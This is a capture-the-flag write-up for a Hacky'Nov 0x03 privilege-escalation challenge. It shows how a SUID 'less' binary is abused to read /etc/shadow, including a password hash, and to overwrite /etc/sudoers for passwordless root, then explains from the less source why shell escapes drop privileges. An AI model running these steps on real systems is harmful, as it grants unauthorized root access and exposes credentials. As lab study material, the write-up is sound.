../

/Cybersecurity/ /Hacky'Nov 0x03/ /PrivEsc/

HN0x03 | Escalade comme un Yamakasi - letMePls

HN0x03 | Escalade comme un Yamakasi - letMePls

This challenge is a part of the Hacky’Nov 0x03 CTF.

Goal

Read the flag (at the root of the filesystem?).

Walkthrough

Again, we check the sudo permissions:

lolo@995dc6967e13:~$ sudo -l
[sudo] password for lolo:
Sorry, user lolo may not run sudo on 995dc6967e13.

No luck there, it will maybe be a little bit more complicated than the previous challenges.

Let’s try to find suid binaries:

lolo@995dc6967e13:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chfn
/usr/bin/su
/usr/bin/less
/usr/bin/sudo

The only thing unusual here is the less binary. Let’s check if we can use it to read files we shouldn’t be able to read:

lolo@995dc6967e13:~$ less /etc/shadow
root:*:19856:0:99999:7:::
daemon:*:19856:0:99999:7:::
bin:*:19856:0:99999:7:::
sys:*:19856:0:99999:7:::
sync:*:19856:0:99999:7:::
games:*:19856:0:99999:7:::
man:*:19856:0:99999:7:::
lp:*:19856:0:99999:7:::
mail:*:19856:0:99999:7:::
news:*:19856:0:99999:7:::
uucp:*:19856:0:99999:7:::
proxy:*:19856:0:99999:7:::
www-data:*:19856:0:99999:7:::
backup:*:19856:0:99999:7:::
list:*:19856:0:99999:7:::
irc:*:19856:0:99999:7:::
_apt:*:19856:0:99999:7:::
nobody:*:19856:0:99999:7:::
systemd-network:!*:19860::::::
systemd-timesync:!*:19860::::::
messagebus:!:19860::::::
sshd:!:19860::::::
lolo:$y$j9T$w3Sf1XdrSFuFNnXMSj08G/$5meU7MsHIR/G7LmZDm417MGTLrVY/oACBw8udU5Gqf.:19860::::::
/etc/shadow (END)

It’s not really helpful to be able to read the /etc/shadow file, but it still indicates that we’re able to execute less as root. Let’s try to spawn a shell with it:

lolo@995dc6967e13:~$ less /etc/shadow
!bash
lolo@995dc6967e13:~$ id
uid=1000(lolo) gid=996(lolo) groups=996(lolo),27(sudo)

We’re not root… How comes?

Oh yes! I remember that bash set the effective user id to the real user id when they are different. However we can bypass this restriction by using the -p flag!

The bash manual states the following

Invoked with unequal effective and real UID/GIDs

If Bash is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied […] the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

So it should work if we use !bash -p instead of !bash:

lolo@995dc6967e13:~$ less /etc/shadow
!bash -p
lolo@995dc6967e13:~$ id
uid=1000(lolo) gid=996(lolo) groups=996(lolo),27(sudo)

Still nope…

What about checking if we are root when executing a command with less?

lolo@995dc6967e13:~$ less /etc/shadow
!id
uid=1000(lolo) gid=996(lolo) groups=996(lolo),27(sudo)

We are not, here is our problem…

Oh! There is one thing however, we are able to write to “log” files with less:

lolo@995dc6967e13:~$ echo "test" | less -O /tmp/test
lolo@995dc6967e13:~$ ls -la /tmp/test
-rw-r--r-- 1 root root 5 May 27 21:42 /tmp/test
lolo@995dc6967e13:~$ cat /tmp/test
test

That’s our way to go! We’ve seen that sudo is installed, we’re just not allowed to use it… yet 😉

lolo@995dc6967e13:~$ echo "lolo ALL=(ALL) NOPASSWD: ALL" | less -O /etc/sudoers
lolo@995dc6967e13:~$ sudo su -
root@995dc6967e13:~# ls
cjoezcniezcfniiezoncioezn.txt
root@995dc6967e13:~# cat cjoezcniezcfniiezoncioezn.txt
HNx03{I_DONT_KNOW_WHY_WE_ALWAYS_USE_LESS_FOR_THIS_MISCONFIG}

Why the first method didn’t work?

I didn’t want to simply stop at the flag here, but take some time to understand why the first method didn’t work.

I searched through the source code of less and noticed in the file lsystem.c, lines 41-45:

/*
 * Pass the specified command to a shell to be executed.
 * Like plain "system()", but handles resetting terminal modes, etc.
 */
public void lsystem(char *cmd, char *donemsg)

It seems to be the function invokes when a command is passed to less with !.

Few lines below, we can see that the function lsystem is a wrapper around the system function (lines 146-154):

if (p == NULL)
{
    if (*cmd == '\0')
        p = save("sh");
    else
        p = save(cmd);
}
system(p);
free(p);

In case the command is empty, it will execute sh (the shell), otherwise it will execute the command passed as argument. However, the system function is used here, which is, according to the man page (system(3)), equivalent to a fork and an exec of /bin/sh -c command.

That’s why the effective user id is reset to the real user id, and we can’t spawn a shell as root, because when I was trying to execute !bash -p, the command executed was /bin/sh -c bash -p, but /bin/sh had already reset the effective user id to the real user id before executing bash -p.